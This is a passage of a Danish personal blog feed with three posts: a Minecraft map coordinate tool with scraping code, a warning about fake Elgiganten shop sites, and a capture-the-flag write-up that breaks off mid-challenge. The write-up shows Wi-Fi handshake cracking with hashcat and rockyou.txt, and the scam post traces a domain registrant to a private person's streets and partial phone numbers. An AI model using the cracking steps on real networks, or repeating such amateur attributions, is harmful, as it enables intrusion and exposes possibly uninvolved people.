&lt;p&gt;I 2014 blev Danmark genskabt i Minecraft ved hjælp af 4 billioner virtuelle byggeklodser. Dette projekt brugte data fra GeoDanmark, Dagi, Danmarks Adresser og Danmarks Højdemodel. Modellen inkluderer alle landets veje, bygninger, jernbanespor lygtepæle og selv hegn. Den blev oprindeligt lavet for at vise potentialet i de store mængder frit tilgængelige data og kunne bruges i skolesammenhæng. Du kan læse hele pressemeddelelsen her: &lt;a href="https://mcdk.ha1fdan.xyz/2014_pressemeddelelse_DK_i_MC.pdf"&gt;2014_pressemeddelelse_DK_i_MC.pdf&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="2024"&gt;2024&lt;/h3&gt;
&lt;p&gt;Her i sommer 2024, faldt jeg over &lt;a href="https://loar.kb.dk/handle/1902/8118"&gt;Det Kongelige Bibliotek&lt;/a&gt; og fandt det interessant da jeg har selv haft Odense hentet i 2014 da &amp;ldquo;Danmark i Minecraft&amp;rdquo; udkom.&lt;/p&gt;</description><content type="html"><![CDATA[<h2 id="danmark-i-minecraft">Danmark I Minecraft</h2>
<p>I 2014 blev Danmark genskabt i Minecraft ved hjælp af 4 billioner virtuelle byggeklodser. Dette projekt brugte data fra GeoDanmark, Dagi, Danmarks Adresser og Danmarks Højdemodel. Modellen inkluderer alle landets veje, bygninger, jernbanespor lygtepæle og selv hegn. Den blev oprindeligt lavet for at vise potentialet i de store mængder frit tilgængelige data og kunne bruges i skolesammenhæng. Du kan læse hele pressemeddelelsen her: <a href="https://mcdk.ha1fdan.xyz/2014_pressemeddelelse_DK_i_MC.pdf">2014_pressemeddelelse_DK_i_MC.pdf</a>.</p>
<hr>
<h3 id="2024">2024</h3>
<p>Her i sommer 2024, faldt jeg over <a href="https://loar.kb.dk/handle/1902/8118">Det Kongelige Bibliotek</a> og fandt det interessant da jeg har selv haft Odense hentet i 2014 da &ldquo;Danmark i Minecraft&rdquo; udkom.</p>
<hr>
<h3 id="mcdkha1fdanxyz">mcdk.ha1fdan.xyz</h3>
<p>d. 3-4. august 2024 arbjede jeg på at lave en &ldquo;lommeregner&rdquo; til de minecraft kort filer man kan hente. På hjemmesiden kan man indtaste bredde- og længdegrader (som kan findes på eg. Google Maps), og få udleveret hvilke Minecraft koordinater samt hvilken zip fil man skal bruge ud fra de WGS84 koordinater man har indtastet.</p>
<p><strong>Men hvordan kom jeg så langt?</strong></p>
<p>Jeg startede med noget meget manuelt arbjede, som inkludere at skrabe Det Kongelige Biblioteks hjemmeside for links til download af zip filerne.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">links</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">matchingLinks</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Set</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">links</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">link</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">href</span> <span class="o">=</span> <span class="nx">link</span><span class="p">.</span><span class="nx">href</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">href</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="s1">&#39;https://loar.kb.dk/items/&#39;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">matchingLinks</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">href</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="nx">matchingLinks</span><span class="p">));</span>
</span></span></code></pre></div><p>Efter at have samlet alle links for zip filerne, skrev jeg et python crawler program der gik alle urls gennem og gemte zip fil navnet samt direkte download link i en database:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">selenium</span> <span class="kn">import</span> <span class="n">webdriver</span>
</span></span><span class="line"><span class="cl"><span class="n">driver</span> <span class="o">=</span> <span class="n">webdriver</span><span class="o">.</span><span class="n">Firefox</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;urls.txt&#39;</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">urls</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">search</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">driver</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">driver</span><span class="o">.</span><span class="n">execute_script</span><span class="p">(</span><span class="s1">&#39;let xhr = new XMLHttpRequest(); xhr.open(&#34;GET&#34;, &#34;http://localhost:8080?url=&#34;+encodeURIComponent(document.querySelector(&#34;a.dont-break-out&#34;).href)+&#34;&amp;filename=&#34;+encodeURIComponent(document.querySelector(&#34;span.ng-star-inserted&#34;).textContent)+&#34;&#34;, true); xhr.send(); console.log(&#34;Status: &#34; + xhr.status);&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Done: &#34;</span> <span class="o">+</span> <span class="n">url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">progress</span><span class="o">=</span><span class="mi">0</span> <span class="c1">#add number using + if script breaks</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">progress</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">urls</span><span class="o">.</span><span class="n">pop</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">url</span> <span class="ow">in</span> <span class="n">urls</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">search</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">flask</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">json</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">app</span> <span class="o">=</span> <span class="n">flask</span><span class="o">.</span><span class="n">Flask</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;urls.txt&#39;</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">amount</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;urls.txt has </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">amount</span><span class="p">)</span><span class="si">}</span><span class="s2"> links&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;db.json&#39;</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@app.route</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="n">flask</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;url&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">filename</span> <span class="o">=</span> <span class="n">flask</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;filename&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span><span class="p">[</span><span class="n">filename</span><span class="p">]</span> <span class="o">=</span> <span class="n">url</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;db.json&#39;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">json</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Progress: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">amount</span><span class="p">)</span><span class="si">}</span><span class="s2"> (</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">amount</span><span class="p">)</span> <span class="o">*</span> <span class="mi">100</span><span class="si">:</span><span class="s2">.2f</span><span class="si">}</span><span class="s2">%)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s2">&#34;ok&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s1">&#39;0.0.0.0&#39;</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">8080</span><span class="p">)</span>
</span></span></code></pre></div><p>Jeg skrev matematikken om fra denne <a href="https://web.archive.org/web/20180310063625/https:/geoboxers.com/mcdk.html">omregner</a> til PHP. Samt lave en stor database (<a href="https://mcdk.ha1fdan.xyz/list.php">Opslagstabel</a>) via dette python kode:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">json</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;db.json&#39;</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">new</span> <span class="o">=</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;new_db.json&#39;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">key</span><span class="p">,</span> <span class="n">url</span> <span class="ow">in</span> <span class="n">data</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="n">items</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">items</span> <span class="o">=</span> <span class="n">items</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">&#34;.zip&#34;</span><span class="p">,</span><span class="s2">&#34;&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;_&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">x</span> <span class="o">=</span> <span class="n">items</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">z</span> <span class="o">=</span> <span class="n">items</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">x</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">)</span><span class="o">*</span><span class="mi">512</span><span class="o">+</span><span class="mi">5120</span>
</span></span><span class="line"><span class="cl">        <span class="n">z</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="n">z</span><span class="p">)</span><span class="o">*</span><span class="mi">512</span><span class="o">+</span><span class="mi">5120</span>
</span></span><span class="line"><span class="cl">        <span class="n">new</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="n">key</span><span class="p">:[</span><span class="nb">str</span><span class="p">(</span><span class="n">x</span><span class="p">),</span><span class="nb">str</span><span class="p">(</span><span class="n">z</span><span class="p">),</span><span class="n">url</span><span class="p">]})</span>
</span></span><span class="line"><span class="cl">    <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">new</span><span class="p">))</span>
</span></span></code></pre></div><hr>
]]></content></item><item><title>Pas på Falske Elgiganten Hjemmesider</title><link>https://ha1fdan.xyz/en/posts/elgiganten/</link><pubDate>Sun, 19 May 2024 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/elgiganten/</guid><description>&lt;p&gt;For nylig stødte min far og jeg på flere falske Elgiganten hjemmesider via Facebook-reklamer, der tilbyder elektronik som telefoner til meget lave priser. Dette er tydeligvis en scam, hvor formålet er at trække penge fra intetanende kunder uden at levere varerne.&lt;/p&gt;
&lt;h3 id="sådan-genkender-du-falske-hjemmesider"&gt;Sådan Genkender Du Falske Hjemmesider&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Urealistiske Tilbud:&lt;/strong&gt; Hvis tilbuddene virker for gode til at være sande, er de det sandsynligvis også.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ukendte Webadresser:&lt;/strong&gt; Tjek altid webadressen grundigt. Mange falske sider bruger lignende, men ikke identiske adresser.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="analyse-af-de-falske-elgiganten-sider"&gt;Analyse af de Falske Elgiganten Sider&lt;/h3&gt;
&lt;p&gt;Som cybersikkerhedsentusiast kunne jeg ikke lade være med at undersøge disse falske sider nærmere.&lt;/p&gt;</description><content type="html"><![CDATA[<p>For nylig stødte min far og jeg på flere falske Elgiganten hjemmesider via Facebook-reklamer, der tilbyder elektronik som telefoner til meget lave priser. Dette er tydeligvis en scam, hvor formålet er at trække penge fra intetanende kunder uden at levere varerne.</p>
<h3 id="sådan-genkender-du-falske-hjemmesider">Sådan Genkender Du Falske Hjemmesider</h3>
<ol>
<li><strong>Urealistiske Tilbud:</strong> Hvis tilbuddene virker for gode til at være sande, er de det sandsynligvis også.</li>
<li><strong>Ukendte Webadresser:</strong> Tjek altid webadressen grundigt. Mange falske sider bruger lignende, men ikke identiske adresser.</li>
</ol>
<h3 id="analyse-af-de-falske-elgiganten-sider">Analyse af de Falske Elgiganten Sider</h3>
<p>Som cybersikkerhedsentusiast kunne jeg ikke lade være med at undersøge disse falske sider nærmere.</p>
<ol>
<li><strong>elgiganten.online</strong>: Denne side var registreret hos TLD Registrar Solutions, men er nu suspenderet.
<img src="/elgiganten/dot_online_suspend.png" alt="Screenshot of Email from TLD Registrar Solutions"></li>
</ol>
<hr>
<ol start="2">
<li><strong>elgiganten.io:</strong> Denne side var registreret hos Namecheap. Jeg fandt registrantoplysninger, der peger på en person i Odense. En søgning på telefonnummeret viste <strong><strong>ikke</strong></strong> yderligere detaljer. <a href="https://www.namecheap.com/domains/whois/result?domain=elgiganten.io">Namecheap Whois Lookup</a></li>
</ol>
<p>En søgning på navnet + adressen via 118.dk viser tilknytning til samme person I Odense C. Men nu får vi en ny adresse og et nyt telefon nummer: <strong>+45 2299 ----</strong>. De 2 adresser ligger kun 2,7 km fra hinanden.</p>
<p>Så nu har vi 2 telefon numre:</p>
<ul>
<li><strong>Namecheap:</strong> +45 2391 ----</li>
<li><strong>118.dk:</strong> +45 2299 ----</li>
</ul>
<p>Søger du via 180.dk på de 2 telefon numre får du ikke noget på det nummer fra Namecheap, men du får noget på det nummer fra 118.dk.</p>
<p>Og 2 adresser:</p>
<ul>
<li><strong>Namecheap:</strong> Vindegade, Odense 5000</li>
<li><strong>180.dk:</strong> Svanevej, Odense 5000</li>
</ul>
<hr>
<ol start="3">
<li><strong>elgiganten-dk.com</strong>: Også en falsk side, promoveret via Facebook. Jeg har ikke selv oplevet denne hjemmeside, men en anden på Facebook har også skrevet en advarsel om denne side: <a href="https://www.facebook.com/photo?fbid=455595030326486&amp;set=a.115483244337668">Facebook Post</a>.</li>
</ol>
<h3 id="hvad-kan-du-gøre">Hvad Kan Du Gøre?</h3>
<ul>
<li><strong>Tjek Webadresser:</strong> Brug altid officielle webadresser og undgå at klikke på mistænkelige links.</li>
<li><strong>Kontakt Bank:</strong> Hvis du er blevet snydt, kontakt din bank med det samme.</li>
<li><strong>Rapporter:</strong> Indberet falske sider til relevante myndigheder og platforme.</li>
</ul>
<p>Ved at være opmærksom kan vi sammen bekæmpe disse cybersvindelnumre og sikre, at færre falder i fælden. Vær altid skeptisk over for for gode tilbud og tjek altid kilden.</p>
]]></content></item><item><title>DDC - Regionals Junior 2024 : Writeups</title><link>https://ha1fdan.xyz/en/posts/ddc_regionals_junior_2024/</link><pubDate>Sun, 14 Apr 2024 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/ddc_regionals_junior_2024/</guid><description>&lt;p&gt;Jeg var så heldig at gå videre til nationals, men desvære har min lillesøster konfirmation d. 4 maj, så jeg kommer ikke med, men jeg håber at komme med næste år! Tak for nogle sjove og spændende opgaver!&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="syddanmark-scoreboard"&gt;Syddanmark Scoreboard:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/images/ddc_regionals_junior_2024_syddanmark.png" alt="ddc2024_scoreboard.png"&gt;&lt;/p&gt;
&lt;h2 id="global-scoreboard"&gt;Global Scoreboard:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/images/ddc_regionals_junior_2024_all.png" alt="ddc2024_scoreboard.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="løste-opgaver"&gt;Løste opgaver:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Forensics: Dictionary Attack&lt;/li&gt;
&lt;li&gt;Forensics: Drilske Dæknavne - Email&lt;/li&gt;
&lt;li&gt;Forensics: Drilske Dæknavne - Address&lt;/li&gt;
&lt;li&gt;Forensics: Drilske Dæknavne - Leverance-IDer&lt;/li&gt;
&lt;li&gt;Forensics: Drilske Dæknavne - Meeting&lt;/li&gt;
&lt;li&gt;Forensics: Friendly Image&lt;/li&gt;
&lt;li&gt;Forensics: Spin2win&lt;/li&gt;
&lt;li&gt;Web Exploitation: Critical Hit&lt;/li&gt;
&lt;li&gt;Misc: Penpals and messages&lt;/li&gt;
&lt;li&gt;Misc: Find the Culprit&lt;/li&gt;
&lt;li&gt;Beginner: The_Ransomware_Image&lt;/li&gt;
&lt;li&gt;Beginner: See my strings&lt;/li&gt;
&lt;li&gt;Reverse Engineering: ASCII_Maze&lt;/li&gt;
&lt;li&gt;Cryptography: Substitution in the constitution&lt;/li&gt;
&lt;li&gt;Boot2Root: Shadow&lt;/li&gt;
&lt;li&gt;Boot2Root: Cron my tab&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Jeg fik løst 16/52 (31%~), hvilket gav mig 3151 points og en 3 plads i Syddanmark.&lt;/strong&gt;&lt;/p&gt;</description><content type="html"><![CDATA[<p>Jeg var så heldig at gå videre til nationals, men desvære har min lillesøster konfirmation d. 4 maj, så jeg kommer ikke med, men jeg håber at komme med næste år! Tak for nogle sjove og spændende opgaver!</p>
<hr>
<h2 id="syddanmark-scoreboard">Syddanmark Scoreboard:</h2>
<p><img src="/images/ddc_regionals_junior_2024_syddanmark.png" alt="ddc2024_scoreboard.png"></p>
<h2 id="global-scoreboard">Global Scoreboard:</h2>
<p><img src="/images/ddc_regionals_junior_2024_all.png" alt="ddc2024_scoreboard.png"></p>
<hr>
<h2 id="løste-opgaver">Løste opgaver:</h2>
<ul>
<li>Forensics: Dictionary Attack</li>
<li>Forensics: Drilske Dæknavne - Email</li>
<li>Forensics: Drilske Dæknavne - Address</li>
<li>Forensics: Drilske Dæknavne - Leverance-IDer</li>
<li>Forensics: Drilske Dæknavne - Meeting</li>
<li>Forensics: Friendly Image</li>
<li>Forensics: Spin2win</li>
<li>Web Exploitation: Critical Hit</li>
<li>Misc: Penpals and messages</li>
<li>Misc: Find the Culprit</li>
<li>Beginner: The_Ransomware_Image</li>
<li>Beginner: See my strings</li>
<li>Reverse Engineering: ASCII_Maze</li>
<li>Cryptography: Substitution in the constitution</li>
<li>Boot2Root: Shadow</li>
<li>Boot2Root: Cron my tab</li>
</ul>
<p><strong>Jeg fik løst 16/52 (31%~), hvilket gav mig 3151 points og en 3 plads i Syddanmark.</strong></p>
<hr>
<h3 id="forensics-dictionary-attack">Forensics: Dictionary Attack</h3>
<p><strong>Proposed difficulty: Easy</strong></p>
<p>Antallet af usikre wifi-adgangskoder vil ROCK YOU! Se, om du kan bryde wifi-adgangskoden til dette TP-Link-adgangspunkt. Flaget er adgangskoden.</p>
<p>OBS: Flaget skal wrappes i flag formatet: <code>DDC{adgangskoden}</code>.</p>
<p>Vedhæftet fil: <a href="/ddc_regionals2024/forensics/crypto-dictattack.zip">crypto-dictattack.zip</a></p>
<p><strong>Løsning:</strong> Vi får et lille tip om at vi skal bruge rockyou.txt til at cracke koden på et wifi ap. Til dette skal vi lave handshake.cap om til en fil hashcat kan arbjede med, jeg bruger <a href="https://hashcat.net/cap2hashcat/">https://hashcat.net/cap2hashcat</a>. Efter det får vi en <code>xxxxxx_&lt;timestamp&gt;.hc22000</code> som hashcat kan bruge. Kør: <code>hashcat -m 22000 xxxxxx_&lt;timestamp&gt;.hc22000 /usr/share/wordlists/rockyou.txt</code> Resultat: <code>698e7d4af275d841de9c64f1baafb65b:14ebb6863c97:9aad170ba01a:OpenWrt:dontstealmynameagainyoufreak </code></p>
<p>Flag: <code>dontstealmynameagainyoufreak</code></p>
<hr>
<h3 id="forensics-drilske-dæknavne---email">Forensics: Drilske Dæknavne - Email</h3>
<p><strong>Proposed difficulty: Medium</strong></p>
<p>I forbindelse med en større sag om import og salg af narkotika, har man beslaglagt en mobiltelefon. Mobiltelefonen er en ældre Samsung S9, og ejes af en (knap så smart) kriminel som går under navnet &ldquo;Martin Michellin&rdquo; - et dæknavn, som han så fint sagde under anholdelsen med et dumt smil&hellip;</p>
<p>Vi mistænker at han skal aflevere noget stof til en småkriminel gadesælger ved navn &ldquo;Jens Vejmand&rdquo;, noget stof som han får importeret snarligt. Vi har brug for at vide:</p>
<p>Hvilken e-mail benyter martin? Den email vil være et flag som <code>DDC{martin@email.dk}</code>.</p>
<p>Vi ved at der bliver benyttet diverse applikationer så som Snapchat, Whatsapp, SMS, opkald og lignende. Kan du undersøge telefonen?</p>
<p>Vedhæftet filer: <strong>forensics_drilske-daeknavne.7z</strong>(4.2GB) - Ikke uploadet pga. fil-størrelse.</p>
<p><strong>Løsning:</strong> Hvis vi bruger find med en grep på hans navn: <code>find | grep &quot;martin&quot;</code> får vi <code>michellinmartin04@gmail.com</code></p>
<p>Flag: <code>DDC{michellinmartin04@gmail.com}</code></p>
<hr>
<h3 id="forensics-drilske-dæknavne---address">Forensics: Drilske Dæknavne - Address</h3>
<p><strong>Proposed difficulty: Medium</strong></p>
<p>&hellip;..</p>
<p>Vi har også brug for at vide hvor Martin planlægger at hente de afhentede stoffer henne. Vi forventer en adresse, således flaget vil være DDC{GadenavnNummer}</p>
<p>&hellip;..</p>
<p><strong>Løsning:</strong> Hvis vi graver lidt rundt i android filsystemet, eller søger efter .png og .jpg finder vi nogle images, en af dem (<code>./data/system_ce/0/snapshots/28.jpg</code>) er et screenshot af Google Maps med adressen: <code>Svaneknoppen 13</code></p>
<p>Flag: <code>DDC{Svaneknoppen13}</code></p>
<hr>
<h3 id="forensics-drilske-dæknavne---leverance-ider">Forensics: Drilske Dæknavne - Leverance-IDer</h3>
<p><strong>Proposed difficulty: Medium</strong></p>
<p>&hellip;..</p>
<p>Er der nogle leverance-ID&rsquo;er, stregekoder eller andet på de stoffer der bliver solgt til Jens? Hvis ja, så er det et flag formateret som &ldquo;DDC{A12C2-LL902-&hellip;..-KDJ82}&rdquo; i den oplyste rækkefølge.</p>
<p>&hellip;..</p>
<p><strong>Løsning:</strong> Jeg fandt en smsdatabase (<code>./data/user_de/0/com.android.providers.telephony/databases/mmssms.db</code>) hvor Martin og Jens snakkede om at sms ikke var sikkert, så hvis man tænker sikkert kan vi lede efter Whatsapp. Find Whatsapp message databasen og bruger en SQLite viewer finder vi <code>btw , hvis du skal verificere med tjekkerne , er leveringskoderne pa de 5 poser vasketøj : lkj73  hdh79  vcs13  læd72  sjv4w</code>, Ikke så sikkert når man har filesystem access ;)</p>
<p>Flag: <code>DDC{LKJ73-HDH79-VCS13-LÆD72-SJV4W}</code></p>
<hr>
<h3 id="forensics-drilske-dæknavne---meeting">Forensics: Drilske Dæknavne - Meeting</h3>
<p><strong>Proposed difficulty: Medium</strong></p>
<p>&hellip;..</p>
<p>Er der nogle leverance-ID&rsquo;er, stregekoder eller andet på de stoffer der bliver solgt til Jens? Hvis ja, så er det et flag formateret som &ldquo;DDC{A12C2-LL902-&hellip;..-KDJ82}&rdquo; i den oplyste rækkefølge.</p>
<p>&hellip;..</p>
<p><strong>Løsning:</strong> Hvis vi graver lidt mere rundt i filsystemet, eller søger igen efter .png og .jpg finder vi nogle flere screenshots, en af dem (<code>./data/system_ce/0/snapshots/15.jpg</code>) er et screenshot af en favorit placering??? whatever der står: <code>///indebar.tårerne.danseren</code></p>
<p>Flag: <code>DDC{indebar.tårerne.danseren}</code></p>
<hr>
<h3 id="forensics-friendly-image">Forensics: Friendly Image</h3>
<p><strong>Proposed difficulty: Very Easy</strong></p>
<p>&ldquo;Da du for nylig har lært det grundlæggende inden for undersøgelse af diskbilleder, bad du en mere erfaren ven om at give dig en øvelsesopgave. De leverede en billedfil uden yderligere ledetråde og fortalte dig, at et flag er skjult et sted i den. Find flaget for at løse puslespillet!&rdquo;</p>
<p>Vedhæftet fil: <a href="/ddc_regionals2024/forensics/forensics_friendly_image.zip">forensics_friendly_image.zip</a></p>
<p><strong>Løsning:</strong> Efter at have åbnet op zip filen får vi en <code>output.raw</code> og en <code>Friendly.E01</code>. <code>output.raw</code> kan vi mounte på vores linux system og se at der er 4 filer: <code>ini.txt - zebra.77696E6E696E67 - Instructions.txt - 'This is not a pipe.bmp'</code>. Læs Instructions.txt og sorter filerne v. deres navne, og følg resten af beskeden. Nu har vi <code>DDC{keep_on_}</code> men vi mangler noget. Åben <code>Friendly.E01</code> i Autopsy, her finder vi <code>Instructions2.txt</code> som siger: <code>...the extension of the third file reverted back from hexadecimal</code>, den sidste fil er <code>zebra.77696E6E696E67</code>, åben en shell og kør: <code>echo -n 77696E6E696E67 | xxd -r -p</code>, ni får vi <code>winning</code> som er sidste del af flaget.</p>
<p>Flag: <code>DDC{keep_on_winning}</code></p>
<hr>
<h3 id="forensics-spin2win">Forensics: Spin2win</h3>
<p><strong>Proposed difficulty: Easy</strong></p>
<p>Spinner-mand har været ude og spundet internettet ude af kontrol, Vi fandt denne note efterladt på en af hans ofres desktop. Kan du læse den for os?</p>
<p>Vedhæftet fil: <a href="/ddc_regionals2024/forensics/forensics_spin2win.zip">Spin2win.zip</a></p>
